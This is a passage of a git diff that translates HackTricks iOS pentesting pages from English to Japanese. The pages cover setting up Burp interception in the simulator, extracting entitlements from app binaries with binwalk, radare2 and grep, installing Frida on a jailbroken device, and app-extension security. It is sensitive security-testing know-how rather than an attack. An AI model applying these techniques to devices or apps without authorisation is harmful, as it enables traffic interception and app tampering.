**Wireshark**を起動し、キャプチャインターフェースとして「**rvi0**」を選択します。 +2. Wiresharkのキャプチャフィルタを使用してトラフィックをフィルタリングし、監視したい内容を表示します(例えば、IPアドレス192.168.1.1を介して送受信されるすべてのHTTPトラフィック)。 ``` ip.addr == 192.168.1.1 && http ``` - ![](<../../.gitbook/assets/image (472).png>) -The documentation of Wireshark offers many examples for [Capture Filters](https://wiki.wireshark.org/CaptureFilters) that should help you to filter the traffic to get the information you want. +Wiresharkのドキュメントには、[Capture Filters](https://wiki.wireshark.org/CaptureFilters)の多くの例があり、必要な情報を取得するためのトラフィックをフィルタリングするのに役立ちます。 -## Burp Cert Installation in Simulator +## シミュレーターでのBurp証明書のインストール -* **Export Burp Certificate** +* **Burp証明書のエクスポート** -In _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER format_ +_Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER format_ ![](<../../.gitbook/assets/image (459).png>) -* **Drag and Drop** the certificate inside the Emulator -* **Inside the emulator** go to _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_, and **verify the certificate** -* **Inside the emulator** go to _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_, and **enable PortSwigger CA** +* エミュレーター内に証明書を**ドラッグアンドドロップ**します。 +* エミュレーター内で、_Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_に移動し、証明書を**確認**します。 +* エミュレーター内で、_Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_に移動し、PortSwigger CAを**有効化**します。 ![](<../../.gitbook/assets/image (460).png>) -**Congrats, you have successfully configured the Burp CA Certificate in the iOS simulator** +**おめでとうございます。iOSシミュレーターでBurp CA証明書の設定が正常に完了しました。** {% hint style="info" %} -**The iOS simulator will use the proxy configurations of the MacOS.** +**iOSシミュレーターは、MacOSのプロキシ設定を使用します。** {% endhint %} -### MacOS Proxy Configuration +### MacOSのプロキシ設定 -Steps to configure Burp as proxy: +Burpをプロキシとして設定する手順: -* Go to _System Preferences_ --> _Network_ --> _Advanced_ -* In _Proxies_ tab mark _Web Proxy (HTTP)_ and _Secure Web Proxy (HTTPS)_ -* In both options configure _127.0.0.1:8080_ +* _System Preferences_ --> _Network_ --> _Advanced_に移動します。 +* _Proxies_タブで、_Web Proxy (HTTP)_と_Secure Web Proxy (HTTPS)_を選択します。 +* 両方のオプションで、_127.0.0.1:8080_を設定します。 ![](<../../.gitbook/assets/image (461).png>) -* Click on _**Ok**_ and the in _**Apply**_ +* _**Ok**_をクリックし、_**Apply**_をクリックします。 ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによる**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -132,10 +124,10 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**と**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。** diff --git a/mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md b/mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md index 07f5fcc85..e9314e9a3 100644 --- a/mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md +++ b/mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md @@ -1,32 +1,29 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-**Page copied form** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links) +**ページはここからコピー** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links) -If you only have the app's IPA or simply the installed app on a jailbroken device, you normally won't be able to find `.entitlements` files. This could be also the case for the `embedded.mobileprovision` file. Still, you should be able to extract the entitlements property lists from the app binary yourself (which you've previously obtained as explained in the "iOS Basic Security Testing" chapter, section "Acquiring the App Binary"). +アプリのIPAファイルまたは単にジェイルブレイクされたデバイスにインストールされたアプリしか持っていない場合、通常は`.entitlements`ファイルを見つけることはできません。これは`embedded.mobileprovision`ファイルの場合も同様です。それでも、アプリのバイナリから自分でエンタイトルメントプロパティリストを抽出することができるはずです(「iOS基本セキュリティテスト」の章、「アプリバイナリの取得」で説明したように、事前に取得したもの)。 -The following steps should work even when targeting an encrypted binary. If for some reason they don't, you'll have to decrypt and extract the app with e.g. Clutch (if compatible with your iOS version), frida-ios-dump or similar. +次の手順は、暗号化されたバイナリを対象にしている場合でも機能するはずです。何らかの理由で機能しない場合は、iOSバージョンと互換性のあるClutch、frida-ios-dumpなどを使用してアプリを復号化して抽出する必要があります。 -**Extracting the Entitlements Plist from the App Binary** - -If you have the app binary in your computer, one approach is to use binwalk to extract (`-e`) all XML files (`-y=xml`): +**アプリバイナリからエンタイトルメントプリストを抽出する** +コンピュータにアプリバイナリがある場合、binwalkを使用してすべてのXMLファイル(`-y=xml`)を抽出する方法があります: ```bash $ binwalk -e -y=xml ./Telegram\ X @@ -35,9 +32,7 @@ DECIMAL HEXADECIMAL DESCRIPTION 1430180 0x15D2A4 XML document, version: "1.0" 1458814 0x16427E XML document, version: "1.0" ``` - -Or you can use radare2 (`-qc` to _quietly_ run one command and exit) to search all strings on the app binary (`izz`) containing "PropertyList" (`~PropertyList`): - +または、radare2(`-qc`は、1つのコマンドを実行して終了するための_静かに_オプション)を使用して、アプリのバイナリ(`izz`)内に含まれる「PropertyList」(`~PropertyList`)を含むすべての文字列を検索することもできます。 ```bash $ r2 -qc 'izz~PropertyList' ./Telegram\ X @@ -50,44 +45,38 @@ $ r2 -qc 'izz~PropertyList' ./Telegram\ X "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n\n \n\tcdhashes... ``` +両方の場合(binwalkまたはradare2)で、同じ2つの`plist`ファイルを抽出できました。最初のファイル(0x0015d2a4)を調査すると、[Telegramの元の権限ファイル](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements)を完全に回復できました。 -In both cases (binwalk or radare2) we were able to extract the same two `plist` files. If we inspect the first one (0x0015d2a4) we see that we were able to completely recover the [original entitlements file from Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements). - -> Note: the `strings` command will not help here as it will not be able to find this information. Better use grep with the `-a` flag directly on the binary or use radare2 (`izz`)/rabin2 (`-zz`). - -If you access the app binary on the jailbroken device (e.g via SSH), you can use grep with the `-a, --text` flag (treats all files as ASCII text): +> 注意:`strings`コマンドはここでは役に立ちません。バイナリ上で直接`grep`コマンドを使用するか、radare2(`izz`)/rabin2(`-zz`)を使用してください。 +ジェイルブレイクされたデバイス上のアプリバイナリにアクセスする場合(例:SSH経由で)、`grep`コマンドを`-a, --text`フラグ(すべてのファイルをASCIIテキストとして扱う)とともに使用できます。 ```bash $ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/ - 15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/Telegram X.app/Telegram\ X +15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/Telegram X.app/Telegram\ X - - com.apple.security.application-groups - - ... + +com.apple.security.application-groups + +... ``` +`-A num, --after-context=num`フラグを使用して、表示する行数を増減させてみてください。また、jailbroken iOSデバイスにもインストールされている場合、上記で紹介したツールを使用することもできます。 -Play with the `-A num, --after-context=num` flag to display more or less lines. You may use tools like the ones we presented above as well, if you have them also installed on your jailbroken iOS device. - -> This method should work even if the app binary is still encrypted (it was tested against several App Store apps). - +> この方法は、アプリのバイナリがまだ暗号化されている場合でも機能するはずです(App Storeのいくつかのアプリでテストされました)。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md b/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md index 8606e3558..69753730f 100644 --- a/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md +++ b/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md @@ -1,45 +1,41 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Installing Frida +# Fridaのインストール -Go to **Cydia** app and add Frida’s repository by going to **Manage -> Sources -> Edit -> Add** and enter [**https://build.frida.re** ](https://build.frida.re). It will add a new source in the source list. Go to the **frida** **source**, now you should **install** the **Frida** package. +**Cydia**アプリに移動し、**Manage -> Sources -> Edit -> Add**に移動してFridaのリポジトリを追加します。[**https://build.frida.re** ](https://build.frida.re)を入力して新しいソースを追加します。**frida** **source**に移動し、**Frida**パッケージを**インストール**します。 ![](https://miro.medium.com/max/614/0\*qSD26kBtgt\_UIZk1.png) -After installed, you can use in your PC the command `frida-ls-devices` and check that the device appears (your PC needs to be able to access it). Execute also `frida-ps -Uia` to check the running processes of the phone. +インストール後、PCで`frida-ls-devices`コマンドを使用してデバイスが表示されることを確認します(PCはアクセスできる必要があります)。また、`frida-ps -Uia`を実行して、電話の実行中のプロセスを確認します。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/mobile-pentesting/ios-pentesting/ios-app-extensions.md b/mobile-pentesting/ios-pentesting/ios-app-extensions.md index 863614701..4fecb1bd7 100644 --- a/mobile-pentesting/ios-pentesting/ios-app-extensions.md +++ b/mobile-pentesting/ios-pentesting/ios-app-extensions.md @@ -1,61 +1,60 @@ -# iOS App Extensions +# iOSアプリの拡張機能
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
-**Content copied form** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions) +**コンテンツは**[**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions) **からコピーされました** -App extensions let apps offer custom functionality and content to users while they’re interacting with other apps or the system. Some notable ones are: +アプリの拡張機能を使用すると、ユーザーが他のアプリやシステムとやり取りしている間に、アプリがカスタムの機能やコンテンツを提供できます。いくつかの注目すべきものは次のとおりです。 -* **Custom Keyboard**: replaces the iOS system keyboard with a custom keyboard for use in all apps. -* **Share**: post to a sharing website or share content with others. -* **Today**: also called **widgets**, they offer content or perform quick tasks in the Today view of Notification Center. +* **カスタムキーボード**:iOSシステムキーボードをすべてのアプリで使用するためのカスタムキーボードに置き換えます。 +* **共有**:共有ウェブサイトに投稿したり、他の人とコンテンツを共有したりします。 +* **Today**:**ウィジェット**とも呼ばれ、通知センターのTodayビューでコンテンツを提供したり、クイックなタスクを実行したりします。 -For example, the user selects text in the _host app_, clicks on the "Share" button and selects one "app" or action from the list. This triggers the _app extension_ of the _containing app_. The app extension displays its view within the context of the host app and uses the items provided by the host app, the selected text in this case, to perform a specific task (post it on a social network, for example). See this picture from the [Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionOverview.html#//apple\_ref/doc/uid/TP40014214-CH2-SW13) which pretty good summarizes this: +たとえば、ユーザーは_ホストアプリ_でテキストを選択し、「共有」ボタンをクリックし、リストから「アプリ」またはアクションを選択します。これにより、_含まれるアプリ_の_アプリ拡張機能_がトリガーされます。アプリ拡張機能は、ホストアプリのコンテキスト内でそのビューを表示し、ホストアプリが提供するアイテム(この場合は選択したテキスト)を使用して特定のタスク(たとえば、ソーシャルネットワークに投稿する)を実行します。これは、[Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionOverview.html#//apple\_ref/doc/uid/TP40014214-CH2-SW13)のこの図が非常に良く要約しています。 ![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQx9khfTwUwYuMti%2Fapp\_extensions\_communication.png?alt=media) -### **Security Considerations** +### **セキュリティに関する考慮事項** -From the security point of view it is important to note that: +セキュリティの観点から重要な点は次のとおりです。 -* An **app extension does never communicate directly with its containing app** (typically, it isn’t even running while the contained app extension is running). -* An **app extension** and the **host app** **communicate** via **inter-process** communication. -* An **app extension’s** containing app and the **host app don’t communicate** at all. -* A **Today** **widget** (and no other app extension type) can ask the system to open its containing app by calling the `openURL:completionHandler:` method of the `NSExtensionContext` class. -* Any **app extension** and its **containing app** can **access shared data in a privately** defined shared container. -* App extensions **cannot access some APIs**, for example, HealthKit. -* They **cannot receive data using AirDrop** but do can send data. -* **No long-running background tasks** are allowed but uploads or downloads can be initiated. -* App extensions **cannot access the camera or microphone on an iOS device** (except for iMessage app extensions). +* **アプリの拡張機能は、含まれるアプリと直接通信しない**(通常、含まれるアプリの拡張機能が実行されている間は実行されていません)。 +* **アプリの拡張機能**と**ホストアプリ**は、**プロセス間通信**を介して**通信**します。 +* **アプリの拡張機能の**含まれるアプリと**ホストアプリは**まったく**通信しません**。 +* **Todayウィジェット**(他のアプリ拡張機能タイプではない)は、`NSExtensionContext`クラスの`openURL:completionHandler:`メソッドを呼び出すことで、システムに含まれるアプリを開くように要求できます。 +* 任意の**アプリの拡張機能**とその**含まれるアプリ**は、プライベートに定義された共有コンテナ内の共有データにアクセスできます。 +* アプリの拡張機能は、HealthKitなどの一部のAPIにアクセスできません。 +* AirDropを使用してデータを受信することはできませんが、データを送信することはできます。 +* **長時間実行されるバックグラウンドタスク**は許可されていませんが、アップロードやダウンロードは開始できます。 +* アプリの拡張機能は、iMessageアプリの場合を除き、iOSデバイスのカメラやマイクにアクセスできません。 -### Static analysis +### 静的解析 -#### **Verifying if the App Contains App Extensions** +#### アプリにアプリ拡張機能が含まれているかの確認 -If you have the original source code you can search for all occurrences of `NSExtensionPointIdentifier` with Xcode (cmd+shift+f) or take a look into "Build Phases / Embed App extensions": +元のソースコードがある場合は、Xcode(cmd+shift+f)で`NSExtensionPointIdentifier`のすべての出現箇所を検索するか、「Build Phases / Embed App extensions」を確認できます。 ![](<../../.gitbook/assets/image (496).png>) -There you can find the names of all embedded app extensions followed by `.appex`, now you can navigate to the individual app extensions in the project. +そこには、すべての埋め込まれたアプリ拡張機能の名前が`.appex`で続いて表示されます。これで、プロジェクト内の個々のアプリ拡張機能に移動できます。 -If not having the original source code: - -Grep for `NSExtensionPointIdentifier` among all files inside the app bundle (IPA or installed app): +元のソースコードがない場合: +アプリバンドル(IPAまたはインストールされたアプリ)内のすべてのファイルの中から`NSExtensionPointIdentifier`を検索します。 ```bash $ grep -nr NSExtensionPointIdentifier Payload/Telegram\ X.app/ Binary file Payload/Telegram X.app//PlugIns/SiriIntents.appex/Info.plist matches @@ -64,13 +63,11 @@ Binary file Payload/Telegram X.app//PlugIns/NotificationContent.appex/Info.plist Binary file Payload/Telegram X.app//PlugIns/Widget.appex/Info.plist matches Binary file Payload/Telegram X.app//Watch/Watch.app/PlugIns/Watch Extension.appex/Info.plist matches ``` - -You can also access per SSH, find the app bundle and list all inside PlugIns (they are placed there by default) or do it with objection: - +また、SSH経由でアクセスすることもできます。アプリのバンドルを見つけ、デフォルトでそこに配置されているすべてのプラグインをリストアップすることができます。または、objectionを使用して行うこともできます。 ```bash ph.telegra.Telegraph on (iPhone: 11.1.2) [usb] # cd PlugIns - /var/containers/Bundle/Application/15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/ - Telegram X.app/PlugIns +/var/containers/Bundle/Application/15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/ +Telegram X.app/PlugIns ph.telegra.Telegraph on (iPhone: 11.1.2) [usb] # ls NSFileType Perms NSFileProtection Read Write Name @@ -80,65 +77,59 @@ Directory 493 None True False Widget.appex Directory 493 None True False Share.appex Directory 493 None True False SiriIntents.appex ``` +#### **サポートされているデータタイプの特定** -We can see now the same four app extensions that we saw in Xcode before. - -#### **Determining the Supported Data Types** - -This is important for data being shared with host apps (e.g. via Share or Action Extensions). When the user selects some data type in a host app and it matches the data types define here, the host app will offer the extension. It is worth noticing the difference between this and data sharing via `UIActivity` where we had to define the document types, also using UTIs. An app does not need to have an extension for that. It is possible to share data using only `UIActivity`. - -Inspect the app extension's `Info.plist` file and search for `NSExtensionActivationRule`. That key specifies the data being supported as well as e.g. maximum of items supported. For example: +これは、ホストアプリとのデータ共有(ShareやAction 